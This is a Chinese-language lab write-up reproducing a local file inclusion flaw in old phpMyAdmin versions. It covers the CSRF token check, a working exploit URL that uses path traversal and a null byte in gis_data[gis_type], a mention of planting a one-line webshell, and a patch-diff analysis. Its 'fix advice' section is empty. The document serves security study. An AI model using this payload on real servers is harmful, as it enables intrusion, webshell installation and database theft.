4 phpMyAdmin本地文件包含漏洞
4.1 摘要
4.1.1 漏洞簡介
- phpMyAdmin是一個web端通用MySQL管理工具,上述版本在/libraries/gis/pma_gis_factory.php文件里的存在任意文件包含漏洞,攻擊者利用此漏洞可以獲取數據庫中敏感信息,存在GETSHELL風險。
4.1.2 漏洞環境
- Windows XP
- php 5.2.17
- phpMyAdmin 4.0.1--4.2.12
4.2 漏洞復現
4.2.1 構造木馬
- 在網站根目錄放置phpinfo.txt(包含phpinfo())包含一句話木馬等操作,上傳后達到GETSEHLL的目的。該文件內PHP代碼可以打印出PHP詳細的版本等信息,用來測試任意文件包含。

4.2.2 構造URL直接訪問
- 打開
http://localhost/
頁面來訪問本地搭建的存在漏洞的phpMyAdmin,創建一個普通用戶root
,密碼root
,沒有任何權限,登錄后只能看到test、mysql、information_schema表:


- 居然一片空白,沒有出現我想要的phpinfo!?

- 這又涉及到phpmyadmin的一個防御CSRF機制了,來到
libraries/common.inc.php
,代碼如下:
$token_mismatch = true;
if (PMA_isValid($_REQUEST['token'])) {
$token_mismatch = ($_SESSION[' PMA_token '] != $_REQUEST['token']);
}
//檢查$_SESSION[‘ PMA_token ‘] 是否等於 $_REQUEST[‘token’]
if ($token_mismatch) {//如果不等於
/**
* 不安全源允許的參數列表
*/
$allow_list = array(
/* 直接訪問所需,參見常見問題1.34
* 此外,服務器需要cookie登錄屏幕(多服務器)
*/
'server', 'db', 'table', 'target', 'lang',
/* Session ID */
'phpMyAdmin',
/* Cookie preferences */
'pma_lang', 'pma_collation_connection',
/* Possible login form */
'pma_servername', 'pma_username', 'pma_password',
/* Needed to send the correct reply */
'ajax_request',
/* Permit to log out even if there is a token mismatch */
'old_usr'
);
/**
* 允許在 test/theme.php中更改主題
*/
if (defined('PMA_TEST_THEME')) {
$allow_list[] = 'set_theme';
}
/**
* Require cleanup functions
*/
include './libraries/cleanup.lib.php';
/**
* Do actual cleanup
*/
PMA_remove_request_vars($allow_list);//進入PMA_remove_request_vars函數
}
- 上面代碼檢查了
$_SESSION[‘ PMA_token ‘]
是否等於 $_REQUEST[‘token’]
,如果不等於,最后會進入PMA_remove_request_vars
函數,代碼如下:
function PMA_remove_request_vars(&$whitelist)
{
/*
* 不要只檢查$_REQUEST因為它可能已被覆蓋
* 並使用類型轉換,因為變量可能已經成為字符串
*/
$keys = array_keys(
array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE)
);
foreach ($keys as $key) {
if (! in_array($key, $whitelist)) {
unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
} else {
// allowed stuff could be compromised so escape it
// we require it to be a string
if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
unset($_REQUEST[$key]);
}
if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
unset($_POST[$key]);
}
if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
unset($_COOKIE[$key]);
}
if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
unset($_GET[$key]);
}
}
}
}
- 所有的
$_REQUEST
$_POST
$_COOKIE
$_GET
都清空了,那么后面的操作肯定不能正常運轉了。所以,必須帶上token訪問。
4.2.3 獲取token
- 使用phpmyadmin時,注意到一般在訪問pma的時候都會在url里看到token=xxx這個參數,點擊
hackbar
工具的load url
即可將url地址加載到hackbar的欄目中,把該token復制下來,准備下一步操作利用任意文件包含。

- 在hackbar欄目中輸入
http://localhost/gis_data_editor.php?token=(上面操作復制的內容粘貼進入這里)&gis_data[gis_type]=/../../../phpinfo.txt%00
輸入完畢后點擊Execute
提交即可,即可包含執行phpinfo.txt中的php代碼, 如下圖所示:

- 打印出PHP詳細的版本等信息,漏洞利用成功。
4.3 漏洞分析
- 分析官方發布的漏洞補丁,
libraries/gis/pma_gis_factory.php
代碼如下:
public static function factory($type) {
include_once './libraries/gis/pma_gis_geometry.php';
$type_lower = strtolower($type);
if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
if(! PMA_isValid($type_lower, PMA_Util: :getGISDatatypes())
|| ! file_exits(' ./libraries/gis/pma_gis' . $type_lower . '.php)//file_exists判斷文件是否存在
){
return false;
}
if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {//include_once包含這個文件
- 對比下有漏洞的
/libraries/gis/pma_gis_factory.php
代碼:
public static function factory($type) {
include_once './libraries/gis/pma_gis_geometry.php';
$type_lower = strtolower($type);
if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
return false;
}
if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
- 可以看到多了一段
PMA_isValid($type_lower, PMA_Util::getGISDatatypes())
對$type_lower
參數的判斷,大概可以猜測漏洞和這個參數有關系。
- 這里的代碼邏輯是:用
file_exists
判斷文件是否存在,如果存在,就用include_once包含這個文件。如果$type_lower
這個變量是可控的,那么就造成文件包含漏洞。追溯$type_lower
的來源,可以發現是factory函數的參數,所以找調用factory函數的地方gis_data_editor.php
:
1 // Get data if any posted
2 $gis_data = array();
3 if (PMA_isValid($_REQUEST['gis_data'], 'array')) {
4 $gis_data = $_REQUEST['gis_data'];//獲取到gis_data參數的值
5 }
6 $gis_types = array(
7 'POINT',
8 'MULTIPOINT',
9 'LINESTRING',
10 'MULTILINESTRING',
11 'POLYGON',
12 'MULTIPOLYGON',
13 'GEOMETRYCOLLECTION'
14 );
15 // 從初始調用中提取類型並確保它是有效的。
16 // 判斷$gis_data[‘gis_type’]是否已經存在
17 if (! isset($gis_data['gis_type'])) {
18 if (isset($_REQUEST['type']) && $_REQUEST['type'] != '') {
19 $gis_data['gis_type'] = strtoupper($_REQUEST['type']);
20 }
21 if (isset($_REQUEST['value']) && trim($_REQUEST['value']) != '') {
22 $start = (substr($_REQUEST['value'], 0, 1) == "'") ? 1 : 0;
23 $gis_data['gis_type'] = substr(
24 $_REQUEST['value'], $start, strpos($_REQUEST['value'], "(") - $start
25 );
26 }
27 if ((! isset($gis_data['gis_type']))
28 || (! in_array($gis_data['gis_type'], $gis_types))
29 ) {
30 $gis_data['gis_type'] = $gis_types[0];
31 }
32 }
33 $geom_type = $gis_data['gis_type'];//賦值
34 // 通過傳遞的值生成參數。
35 $gis_obj = PMA_GIS_Factory::factory($geom_type);//傳參
- 首先調用了
factory
函數,並且參數等於$gis_data['gis_type']
,第4行:$gis_data = $_REQUEST['gis_data']
;獲取到gis_data
,判斷$gis_data[‘gis_type’]
是否已經存在,如果存在則跳過那 一大串if子句。最后就將$gis_data[‘gis_type’]
賦值給$geom_type
,並傳入 PMA_GIS_Factory::factory
函數。
- 實際利用方法其實就是獲取
$_REQUEST[‘gis_data’][‘gis_type’]
並拼接到include_once
中,造成任意文件包含。
4.4 修復建議